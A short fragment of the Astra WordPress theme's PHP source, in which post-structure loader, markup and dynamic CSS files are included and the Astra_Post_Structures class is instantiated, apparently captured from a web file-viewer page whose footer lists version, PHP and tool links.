WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_THEME_POST_STRUCTURE_DIR . 'class-astra-posts-structure-loader.php'; require_once ASTRA_THEME_POST_STRUCTURE_DIR . 'class-astra-posts-structure-markup.php'; // Include front end files. if ( ! is_admin() ) { require_once ASTRA_THEME_POST_STRUCTURE_DIR . 'css/single-dynamic.css.php'; require_once ASTRA_THEME_POST_STRUCTURE_DIR . 'css/archive-dynamic.css.php'; require_once ASTRA_THEME_POST_STRUCTURE_DIR . 'css/special-dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating new object. */ new Astra_Post_Structures();
| ver. 1.4 |
Github
|
.
| PHP 8.1.33 | Generation time: 0.03 |
proxy
|
phpinfo
|
Settings